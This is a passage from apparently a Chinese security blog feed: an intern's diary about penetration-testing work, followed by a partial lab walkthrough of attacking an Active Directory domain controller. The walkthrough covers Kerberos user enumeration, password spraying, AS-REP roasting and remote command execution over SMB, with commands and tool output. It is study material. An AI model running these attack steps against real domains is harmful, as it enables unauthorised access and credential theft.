&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E5%AE%89%E6%9C%8D%E5%AE%9E%E4%B9%A0%E7%94%9F%E5%B0%8F%E8%AE%B0-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;25年暑期如预期进入了这家公司&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E5%AE%89%E6%9C%8D%E5%AE%9E%E4%B9%A0%E7%94%9F%E5%B0%8F%E8%AE%B0-2.png?x-oss-process=image%2Fformat%2Cwebp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;入职仪式有点尴尬，行政部领导带我到各个部门打招呼，每个部门员工都要抬头看我几眼，i人尴尬&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;☀欢迎 xxx  加入xxxx🎉🎉🎉&lt;/p&gt;
&lt;p&gt;xxx先生，岗位：安服工程师实习生&lt;/p&gt;
&lt;p&gt;提供安全服务技术支撑，包括但不限于：攻防演练（红队）、安全值守（蓝队）、应急响应等安全服务的技术支撑；提供项目案例库、漏洞库的建设支撑：包括但不限于漏洞信息、利用场景、利用方法、利用脚本/工具等；提供攻防工作SOP修订建议，包括但不限于工作场景、工作方法、工作经验总结等；负责漏洞挖掘、漏洞追踪、漏洞预警等工作的支撑；协助上级，支持安服年度服务工作。隶属技术研发部安服一部，直属上级xxx。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;入职后发现待遇还不错，实习薪资还可以，茶水牛奶零食自由，迟到自由(弹性上班时间)，健身自由(健身房公司报销，有泳池可惜不会游泳)，摸鱼自由(busi)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E5%AE%89%E6%9C%8D%E5%AE%9E%E4%B9%A0%E7%94%9F%E5%B0%8F%E8%AE%B0-3.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E5%AE%89%E6%9C%8D%E5%AE%9E%E4%B9%A0%E7%94%9F%E5%B0%8F%E8%AE%B0-4.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;部门算我四人，另外三人从我入职至今就见过俩次....各地参与攻防项目，他们三人每次结束所拿的分数都令我叹为观止(多次省一，各种奖)，什么时候也能像他们一样强啊&lt;/p&gt;
&lt;p&gt;技术总监跟我讲&amp;quot;原本员工入职会有一周的培训时间，但是这段时间业务太忙，攻防太多，你只能先上岗工作了&amp;quot;&lt;/p&gt;
&lt;p&gt;同事氛围很好，人也和善，就是不敢主动跟他们聊天....&lt;/p&gt;
&lt;h1&gt;工作&lt;/h1&gt;
&lt;p&gt;头大，上来直接让我处理各种项目(红队攻防，应急响应，渗透测试，漏洞扫描，靶场构建，代码审计等)&lt;/p&gt;
&lt;p&gt;由于员工少所以我的活特别多而且很杂，实习的这一个半月接触了二三十个项目&lt;/p&gt;
&lt;p&gt;....完成得还可以，而且挺多客户公开场合夸我来着，技术总监对我非常非常非常满意&lt;/p&gt;
&lt;h2&gt;钓鱼&lt;/h2&gt;
&lt;p&gt;在某攻防项目进行的当天上午下班时，暂时负责给我派发任务的另个部门同事问我有没有什么成果&lt;/p&gt;
&lt;p&gt;......我说我上午还在信息收集呢&lt;/p&gt;
&lt;p&gt;他说他已经打到内网了......&lt;/p&gt;
&lt;p&gt;我:&amp;quot;？？？？？？？&amp;quot;&lt;/p&gt;
&lt;p&gt;然后跟我讲靠钓鱼进去的，钓到了几个员工VPN，直接内网刷分&lt;/p&gt;
&lt;p&gt;后来我拿了成果写报告时看到他写的钓鱼报告&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E5%AE%89%E6%9C%8D%E5%AE%9E%E4%B9%A0%E7%94%9F%E5%B0%8F%E8%AE%B0-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;....我之前钓鱼时想到了举报但是没想到过这个.....清澈大学生的经验还是太浅了&lt;/p&gt;
&lt;p&gt;然后同事把内网打了个七七八八，提交报告后&lt;/p&gt;
&lt;p&gt;....被扣了五千分，因为钓鱼用了不当言论，还是先不学了吧....&lt;/p&gt;
&lt;h2&gt;随记&lt;/h2&gt;
&lt;p&gt;实习第一周项目比较少，我工作的区域空荡荡一片，每天基本就我一人...&lt;/p&gt;
&lt;p&gt;人手不够就把我派过去进行应急，平时缺的现在都补回来了&lt;/p&gt;
&lt;p&gt;第一次是给某机场应急，负责接待我的项目经理和我一起在员工食堂库库吃，自助餐伙食特别好&lt;/p&gt;
&lt;p&gt;当时接手工作的就我一人，那些一把岁数的部门领导开会时都在听我分析和制定策划....&lt;/p&gt;
&lt;p&gt;最后还是顺利无比的进行完了，起源于该部门OA系统的一台机器被入侵，然后攻击者横向渗透导致大量服务器沦陷，期间攻击者拿到了堡垒机行云管家的账号，直接登录后给受管理机器下发木马文件并进行powershell执行指令的操作，从而大批量机器上线&lt;/p&gt;
&lt;p&gt;理清了入侵路线，在清理完入侵痕迹和溯源后让他们安全部门修补漏洞或者加白，也算是告一段落了&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/life/%E5%AE%89%E6%9C%8D%E5%AE%9E%E4%B9%A0%E7%94%9F%E5%B0%8F%E8%AE%B0/&quot;&gt;https://heathc1iff-sec.github.io/blog/life/%E5%AE%89%E6%9C%8D%E5%AE%9E%E4%B9%A0%E7%94%9F%E5%B0%8F%E8%AE%B0/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 01 Sep 2025 00:00:00 GMT</pubDate></item><item><title>HMV-DC02</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/dc02/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/dc02/</guid><description>Second DC from me. Enjoy it.</description><content:encoded>&lt;p&gt;开局报错，修改名字即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC02-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC02-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;思维导图&lt;/h1&gt;
&lt;p&gt;信息收集与域渗透流程&lt;/p&gt;
&lt;p&gt;│&lt;/p&gt;
&lt;p&gt;├── 1. 主机发现 &amp;amp; 基础信息收集&lt;/p&gt;
&lt;p&gt;│   ├── 1.1 ARP 扫描&lt;/p&gt;
&lt;p&gt;│   │   ├── 工具：arp-scan&lt;/p&gt;
&lt;p&gt;│   │   ├── 作用：发现本地网段存活主机&lt;/p&gt;
&lt;p&gt;│   │   └── 示例：arp-scan -l | grep &amp;quot;08:00:27&amp;quot;&lt;/p&gt;
&lt;p&gt;│   │&lt;/p&gt;
&lt;p&gt;│   ├── 1.2 Nmap 扫描&lt;/p&gt;
&lt;p&gt;│   │   ├── 使用参数：&lt;/p&gt;
&lt;p&gt;│   │   │   ├── -Pn（跳过主机发现）&lt;/p&gt;
&lt;p&gt;│   │   │   ├── -sT（三次握手 TCP 扫描）&lt;/p&gt;
&lt;p&gt;│   │   │   ├── -sC（默认脚本）&lt;/p&gt;
&lt;p&gt;│   │   │   ├── -sV（服务版本探测）&lt;/p&gt;
&lt;p&gt;│   │   │   └── -T4（加速扫描）&lt;/p&gt;
&lt;p&gt;│   │   ├── 主要输出内容：&lt;/p&gt;
&lt;p&gt;│   │   │   ├── Kerberos（88）&lt;/p&gt;
&lt;p&gt;│   │   │   ├── LDAP（389/636/3268/3269）&lt;/p&gt;
&lt;p&gt;│   │   │   ├── SMB（445）&lt;/p&gt;
&lt;p&gt;│   │   │   └── RPC（135）&lt;/p&gt;
&lt;p&gt;│   │   └── 结果用途：判断域控、判断可用攻击面&lt;/p&gt;
&lt;p&gt;│&lt;/p&gt;
&lt;p&gt;├── 2. 域侦察：匿名 SMB、Kerberos 用户枚举&lt;/p&gt;
&lt;p&gt;│   ├── 2.1 SMB 匿名连接测试&lt;/p&gt;
&lt;p&gt;│   │   ├── 工具：smbclient&lt;/p&gt;
&lt;p&gt;│   │   ├── 目的：判断是否能匿名枚举共享&lt;/p&gt;
&lt;p&gt;│   │   └── 结果：失败 → 不能匿名&lt;/p&gt;
&lt;p&gt;│   │&lt;/p&gt;
&lt;p&gt;│   ├── 2.2 Kerberos 用户名枚举（Kerbrute）&lt;/p&gt;
&lt;p&gt;│   │   ├── 原理：&lt;/p&gt;
&lt;p&gt;│   │   │   ├── 通过 AS-REQ 错误码判断用户名存在性&lt;/p&gt;
&lt;p&gt;│   │   │   └── 无需任何凭据&lt;/p&gt;
&lt;p&gt;│   │   ├── 工具：Kerbrute&lt;/p&gt;
&lt;p&gt;│   │   ├── 命令：&lt;/p&gt;
&lt;p&gt;│   │   │   ./kerbrute userenum -d DOMAIN --dc IP user.txt&lt;/p&gt;
&lt;p&gt;│   │   └── 输出：发现有效用户（admin, Administrator, charlie…）&lt;/p&gt;
&lt;p&gt;│   │&lt;/p&gt;
&lt;p&gt;│   └── 2.3 清洗用户列表&lt;/p&gt;
&lt;p&gt;│       ├── sed 去颜色&lt;/p&gt;
&lt;p&gt;│       ├── awk 去域名&lt;/p&gt;
&lt;p&gt;│       └── 生成干净 user.txt&lt;/p&gt;
&lt;p&gt;│&lt;/p&gt;
&lt;p&gt;├── 3. SMB 密码喷洒（最稳定的认证协议）&lt;/p&gt;
&lt;p&gt;│   ├── 3.1 为什么 SMB 是第一选择&lt;/p&gt;
&lt;p&gt;│   │   ├── 默认开启&lt;/p&gt;
&lt;p&gt;│   │   ├── 支持 NTLM / PTH / Kerberos&lt;/p&gt;
&lt;p&gt;│   │   ├── 认证返回码准确&lt;/p&gt;
&lt;p&gt;│   │   └── 成功后能执行命令&lt;/p&gt;
&lt;p&gt;│   │&lt;/p&gt;
&lt;p&gt;│   ├── 3.2 使用 NetExec / CrackMapExec&lt;/p&gt;
&lt;p&gt;│   │   ├── 命令示例：&lt;/p&gt;
&lt;p&gt;│   │   │   └── nxc smb DC -u user.txt -p user.txt --continue-on-success&lt;/p&gt;
&lt;p&gt;│   │   ├── --continue-on-success：成功后继续测试&lt;/p&gt;
&lt;p&gt;│   │   ├── --no-bruteforce：只测试 username=password&lt;/p&gt;
&lt;p&gt;│   │   └── 结果：发现 charlie:charlie&lt;/p&gt;
&lt;p&gt;│&lt;/p&gt;
&lt;p&gt;├── 4. 渗透标准域用户（charlie）&lt;/p&gt;
&lt;p&gt;│   ├── 4.1 SMB 登录测试&lt;/p&gt;
&lt;p&gt;│   │   ├── 工具：nxc / smbclient&lt;/p&gt;
&lt;p&gt;│   │   └── 结果：登录成功，但权限低&lt;/p&gt;
&lt;p&gt;│   │&lt;/p&gt;
&lt;p&gt;│   ├── 4.2 SMB 枚举共享&lt;/p&gt;
&lt;p&gt;│   │   └── 无法访问敏感共享（只读）&lt;/p&gt;
&lt;p&gt;│   │&lt;/p&gt;
&lt;p&gt;│   ├── 4.3 RID 爆破（枚举更多域用户）&lt;/p&gt;
&lt;p&gt;│       ├── 工具：NetExec&lt;/p&gt;
&lt;p&gt;│       ├── 目的：获取所有域用户列表&lt;/p&gt;
&lt;p&gt;│       └── 结果：生成更大的 user 列表&lt;/p&gt;
&lt;p&gt;│&lt;/p&gt;
&lt;p&gt;├── 5. AS-REP Roasting（无须密码）&lt;/p&gt;
&lt;p&gt;│   ├── 5.1 原理&lt;/p&gt;
&lt;p&gt;│   │   ├── “不需要预认证” 用户可直接获得 AS-REP 密文&lt;/p&gt;
&lt;p&gt;│   │   ├── 可离线破解&lt;/p&gt;
&lt;p&gt;│   │   ├── 无限制、不触发锁定&lt;/p&gt;
&lt;p&gt;│   │   └── 属于高危配置&lt;/p&gt;
&lt;p&gt;│   │&lt;/p&gt;
&lt;p&gt;│   ├── 5.2 工具：GetNPUsers（Impacket）&lt;/p&gt;
&lt;p&gt;│   │   ├── 命令：&lt;/p&gt;
&lt;p&gt;│   │   │   impacket-GetNPUsers -usersfile user -dc-ip IP DOMAIN/user:pass&lt;/p&gt;
&lt;p&gt;│   │   └── 结果：获得 zximena448 的 AS-REP&lt;/p&gt;
&lt;p&gt;│   │&lt;/p&gt;
&lt;p&gt;│   ├── 5.3 哈希破解&lt;/p&gt;
&lt;p&gt;│   │   ├── 工具：john / hashcat&lt;/p&gt;
&lt;p&gt;│   │   └── 结果：密码 = internet&lt;/p&gt;
&lt;p&gt;│&lt;/p&gt;
&lt;p&gt;├── 6. 权限提升至高级用户（zximena448）&lt;/p&gt;
&lt;p&gt;│   ├── 6.1 SMB 认证测试&lt;/p&gt;
&lt;p&gt;│   │   └── 成功，且访问权限提升&lt;/p&gt;
&lt;p&gt;│   │&lt;/p&gt;
&lt;p&gt;│   ├── 6.2 共享枚举&lt;/p&gt;
&lt;p&gt;│   │   ├── 访问 ADMIN$&lt;/p&gt;
&lt;p&gt;│   │   ├── 访问 C$&lt;/p&gt;
&lt;p&gt;│   │   └── 获得更多敏感目录&lt;/p&gt;
&lt;p&gt;│   │&lt;/p&gt;
&lt;p&gt;│   └── 6.3 读取桌面文件&lt;/p&gt;
&lt;p&gt;│       ├── 工具：smbclient&lt;/p&gt;
&lt;p&gt;│       ├── 操作：cd /Users/xxx/Desktop&lt;/p&gt;
&lt;p&gt;│       └── 获取 user.txt / flag&lt;/p&gt;
&lt;p&gt;│&lt;/p&gt;
&lt;p&gt;└── 7. 下一步行动（可选）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;├── DCSync

├── Pass-the-Hash

├── Pass-the-Ticket

├── 获取 SYSTEM 权限

└── 横向移动
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot; | awk &amp;#39;{print $1}&amp;#39;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
172.16.55.13
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;namp指令&lt;/h2&gt;
&lt;h3&gt;-Pn（跳过主机发现）&lt;/h3&gt;
&lt;h3&gt;-sTCV（组合扫描类型）&lt;/h3&gt;
&lt;h4&gt;-sT（TCP连接扫描）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;使用完整的TCP三次握手建立连接&lt;/li&gt;
&lt;li&gt;优点：最稳定可靠，不会被防火墙轻易阻止&lt;/li&gt;
&lt;li&gt;缺点：速度较慢，会在目标日志中留下记录&lt;/li&gt;
&lt;li&gt;工作原理：尝试与每个端口建立完整连接&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;-sC（脚本扫描）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;使用nmap的默认脚本集进行更深入的探测&lt;/li&gt;
&lt;li&gt;脚本可以检测：服务版本、漏洞、配置信息等&lt;/li&gt;
&lt;li&gt;相当于 &lt;code&gt;--script=default&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;-sV（版本检测）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;探测开放端口上运行的服务及其版本号&lt;/li&gt;
&lt;li&gt;通过发送特定探测包并分析响应来识别服务&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;-T4（时间模板）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;定义：设置扫描的时间策略/速度&lt;/li&gt;
&lt;li&gt;级别范围：T0-T5（T0最慢，T5最快）&lt;/li&gt;
&lt;li&gt;T4特点：&lt;ul&gt;
&lt;li&gt;激进模式（Aggressive）&lt;/li&gt;
&lt;li&gt;比默认速度更快&lt;/li&gt;
&lt;li&gt;增加带宽使用和网络负载&lt;/li&gt;
&lt;li&gt;可能在网络中产生更多&amp;quot;噪音&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 172.16.55.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-07 03:32 EST
Nmap scan report for 172.16.55.130
Host is up (0.00054s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-12-07 23:32:36Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 14h59m57s
| smb2-time: 
|   date: 2025-12-07T23:32:37
|_  start_date: N/A
|_nbstat: NetBIOS name: DC01, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 08:00:27:de:3d:5b (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.15 second
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;88/tcp&lt;/strong&gt; → Kerberos（域身份认证）(可以利用SPN获取TGS hash)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;389/tcp / 636/tcp / 3268 / 3269&lt;/strong&gt; → LDAP / LDAPS / 全局编录&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;135 / 139 / 445&lt;/strong&gt; → RPC / SMB（文件共享、远程调用）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;464&lt;/strong&gt; → kpasswd（Kerberos 改密）&lt;/li&gt;
&lt;li&gt;Hostname: &lt;strong&gt;DC01&lt;/strong&gt;，Domain: &lt;strong&gt;SOUPEDECODE.LOCAL&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;根据nmap进行添加hosts&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;172.16.55.130 SOUPEDECODE.LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;SMB匿名连接&lt;/h1&gt;
&lt;p&gt;由于开放445端口所以尝试进行smb匿名连接&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# smbclient -L 172.16.55.130 -N

session setup failed: NT_STATUS_ACCESS_DENIED                                        
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以发现无法进行匿名连接&lt;/p&gt;
&lt;h1&gt;无凭据情况下枚举域用户&lt;/h1&gt;
&lt;h2&gt;前置知识&lt;/h2&gt;
&lt;h3&gt;1️⃣ 背景：Kerberos 在 Windows 域里的作用&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Windows 域控 (DC) 使用 &lt;strong&gt;Kerberos 协议&lt;/strong&gt; 来认证用户。&lt;/li&gt;
&lt;li&gt;Kerberos 流程大致：&lt;ol&gt;
&lt;li&gt;客户端请求 &lt;strong&gt;TGT (Ticket Granting Ticket)&lt;/strong&gt;，发送用户名给 KDC（Key Distribution Center，域控）。&lt;/li&gt;
&lt;li&gt;KDC 检查用户名：&lt;ul&gt;
&lt;li&gt;用户存在 → 返回 &lt;strong&gt;需要预认证（Pre-authentication required）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;用户不存在 → 返回 &lt;strong&gt;Principal unknown 错误&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;注意：此阶段无需提供密码即可判断用户名是否存在。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;2️⃣ Kerbrute 的工作原理&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;kerbrute userenum&lt;/code&gt; 主要利用了 &lt;strong&gt;TGT 请求的响应差异&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;向目标 DC 的 &lt;strong&gt;Kerberos 服务 (TCP 88)&lt;/strong&gt; 发送 &lt;strong&gt;AS-REQ（Authentication Service Request）&lt;/strong&gt; 请求&lt;ul&gt;
&lt;li&gt;请求里只包含用户名，不需要密码&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;DC 返回不同的错误码：&lt;/li&gt;
&lt;/ol&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;返回信息&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;KRB5KDC_ERR_PREAUTH_REQUIRED&lt;/td&gt;
&lt;td&gt;用户存在（但需要密码才能继续）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN&lt;/td&gt;
&lt;td&gt;用户不存在&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Kerbrute 根据返回码判断哪些用户名有效，并把结果输出&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;3️⃣ 为什么 SMB / LDAP 不行时仍可用&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;SMB / LDAP 匿名访问被禁 → 无法直接枚举用户或共享&lt;/li&gt;
&lt;li&gt;Kerberos 枚举不依赖匿名访问权限，它只依赖 &lt;strong&gt;KDC 对用户名存在与否的响应差异&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;所以即使没有凭据，也能收集域内用户名&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;4️⃣ 可视化比喻&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;DC 就像一个 &lt;strong&gt;前台接待&lt;/strong&gt;：&lt;ul&gt;
&lt;li&gt;SMB / LDAP 匿名访问：前台要求出示工卡，否则不给看公司目录&lt;/li&gt;
&lt;li&gt;Kerberos TGT 请求：你报一个名字，前台会告诉你这个名字是否在员工名单上，但不需要密码&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;✅ &lt;strong&gt;总结&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kerbrute 枚举用户名的核心原理：&lt;strong&gt;利用 Kerberos 对存在/不存在用户名返回不同错误码&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;不需要凭据、不受匿名访问限制，是 &lt;strong&gt;域用户收集的标准手段&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;kerbrute枚举&lt;/h2&gt;
&lt;p&gt;工具：&lt;a href=&quot;https://github.com/ropnop/kerbrute/releases&quot;&gt;https://github.com/ropnop/kerbrute/releases&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# ./kerbrute userenum -d SOUPEDECODE.LOCAL --dc 172.16.55.130 /home/kali/Desktop/wordlists/self/user.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&amp;lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 12/07/25 - Ronnie Flathers @ropnop

2025/12/07 03:48:53 &amp;gt;  Using KDC(s):
2025/12/07 03:48:53 &amp;gt;   172.16.55.130:88

2025/12/07 03:48:53 &amp;gt;  [+] VALID USERNAME:       admin@SOUPEDECODE.LOCAL
2025/12/07 03:48:53 &amp;gt;  [+] VALID USERNAME:       ADMIN@SOUPEDECODE.LOCAL
2025/12/07 03:48:53 &amp;gt;  [+] VALID USERNAME:       Administrator@SOUPEDECODE.LOCAL
2025/12/07 03:48:53 &amp;gt;  [+] VALID USERNAME:       charlie@SOUPEDECODE.LOCAL
2025/12/07 03:48:54 &amp;gt;  Done! Tested 8886 usernames (4 valid) in 0.813 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;./kerbrute userenum -d SOUPEDECODE.LOCAL --dc 172.16.55.130 /home/kali/Desktop/wordlists/self/user.txt 2&amp;gt;&amp;amp;1 \
| sed -n &amp;#39;s/\x1b\[[0-9;]*m//g; /VALID USERNAME/ {s/.*VALID USERNAME: *//; s/@.*//; s/^[ \t]*//; s/[ \t\r]*$//; p}&amp;#39; &amp;gt; user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;with open(&amp;#39;user.txt&amp;#39;,&amp;#39;r&amp;#39;) as f:
    lines = f.readlines()

with open(&amp;#39;user.txt&amp;#39;,&amp;#39;w&amp;#39;) as f:
    for line in lines:
        line = line.strip()
        if &amp;#39;@&amp;#39; in line:
            username = line.split(&amp;#39;@&amp;#39;)[0].split()[-1]  # 取最后一个空格后的部分
            f.write(username + &amp;#39;\n&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;✅ 为什么 Kerbrute 枚举完用户之后，下一步要用 SMB？&lt;/h3&gt;
&lt;p&gt;因为 &lt;strong&gt;SMB 是 Active Directory（AD）环境中最通用、最可靠、最常见、最容易利用的协议&lt;/strong&gt;，并且：&lt;/p&gt;
&lt;h4&gt;⭐ 在绝大多数 AD 渗透中，SMB 是“第一选择的认证协议”。&lt;/h4&gt;
&lt;p&gt;下面我告诉你为什么。&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;🟦 1. SMB 认证是所有 Windows 域主机都默认启用的&lt;/h5&gt;
&lt;p&gt;只要目标在域里，就会自动开启 445 端口（SMB）。&lt;/p&gt;
&lt;p&gt;这意味着：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;域控有 SMB&lt;/li&gt;
&lt;li&gt;所有域内 Windows 服务器有 SMB&lt;/li&gt;
&lt;li&gt;所有域内 Windows 工作站有 SMB&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 &lt;strong&gt;这是域内最稳定、最肯定能碰到的认证入口。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;🟦 2. SMB 支持 NTLM —— 你能用密码、hash、ticket 都能登录&lt;/h5&gt;
&lt;p&gt;SMB 支持的认证方式最全：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;SMB&lt;/th&gt;
&lt;th&gt;WinRM&lt;/th&gt;
&lt;th&gt;LDAP&lt;/th&gt;
&lt;th&gt;SSH&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;明文密码&lt;/td&gt;
&lt;td&gt;✔️&lt;/td&gt;
&lt;td&gt;✔️&lt;/td&gt;
&lt;td&gt;✔️&lt;/td&gt;
&lt;td&gt;✔️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NTLM hash&lt;/td&gt;
&lt;td&gt;✔️&lt;/td&gt;
&lt;td&gt;✔️（受限）&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pass-the-Hash&lt;/td&gt;
&lt;td&gt;✔️（完全支持）&lt;/td&gt;
&lt;td&gt;✔️（部分）&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kerberos ticket (Pass-the-Ticket)&lt;/td&gt;
&lt;td&gt;✔️&lt;/td&gt;
&lt;td&gt;✔️&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;所以：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;只要你有密码或 hash，SMB 是最好用的登录协议。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;🟦 3. SMB 登录成功后 → 可以直接做横向移动（最大价值：执行命令）&lt;/h5&gt;
&lt;p&gt;一旦 SMB 登录成功：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nxc smb &amp;lt;target&amp;gt; -u user -p pass -x &amp;quot;whoami&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以直接在目标执行命令，很适合上线目标机器。&lt;/p&gt;
